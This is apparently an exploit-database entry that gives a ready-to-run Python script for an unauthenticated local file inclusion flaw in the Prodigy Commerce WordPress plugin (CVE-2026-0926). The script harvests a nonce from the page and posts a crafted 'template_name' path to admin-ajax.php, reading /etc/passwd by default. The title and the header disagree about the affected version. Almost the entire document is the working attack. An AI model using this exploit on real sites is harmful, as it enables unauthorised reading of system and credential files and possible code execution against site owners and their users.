📄 WordPress Prodigy Commerce 3.2.9 Local File Inclusion

# Exploit Title: Prodigy Commerce  3.3.0 - Local File Inclusion 
    # Date: 23-05-2026
    # Exploit Author: Diamorphine
    # Vendor Homepage: https://prodigycommerce.com/
    # Software Link: https://wordpress.org/plugins/prodigy-commerce/
    # Version: 3.2.9
    # Tested on: Debian
    # CVE : CVE-2026-0926
    # Description: Prodigy Commerce WordPress plugin <= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.
    
    
    import httpx
    import asyncio
    import re
    from urllib.parse import urljoin
    import argparse
    
    
    def get_nonce(base_url):
        with httpx.Client(verify=False) as client:
            r = client.get(url=base_url)
            match = re.search(r'var settings\s*=\s*{[^}]*"nonce":"([^"]+)"', r.text)
            if match:
                nonce = match.group(1)
                return nonce
            else:
                print("Nonce not found")
    
    async def main(base_url,file):
        async with httpx.AsyncClient(verify=False) as client:
            nonce = get_nonce(base_url)
            data = {
                "action": "prodigy-render-my-account-widget",
                "nonce": nonce,
                "parameters[template_name]": file,
                "parameters[default_path]": "/"
            }
    
            url = urljoin(base_url, '/wp-admin/admin-ajax.php')
            r = await client.post(url=url, data=data)
            raw = r.json()
            out = raw['data']
            print(out['html'])
    
    parser = argparse.ArgumentParser(description="Prodigy Commerce <= 3.3.0 - Local File Inclusion exploit")
    parser.add_argument("-f", "--file", default='/etc/passwd', help="File to read, default: /etc/passwd")
    parser.add_argument("-u", "--url", required=True, help="Target url, e.g. http://test.local")
    args = parser.parse_args()
    
    asyncio.run(main(args.url, args.file))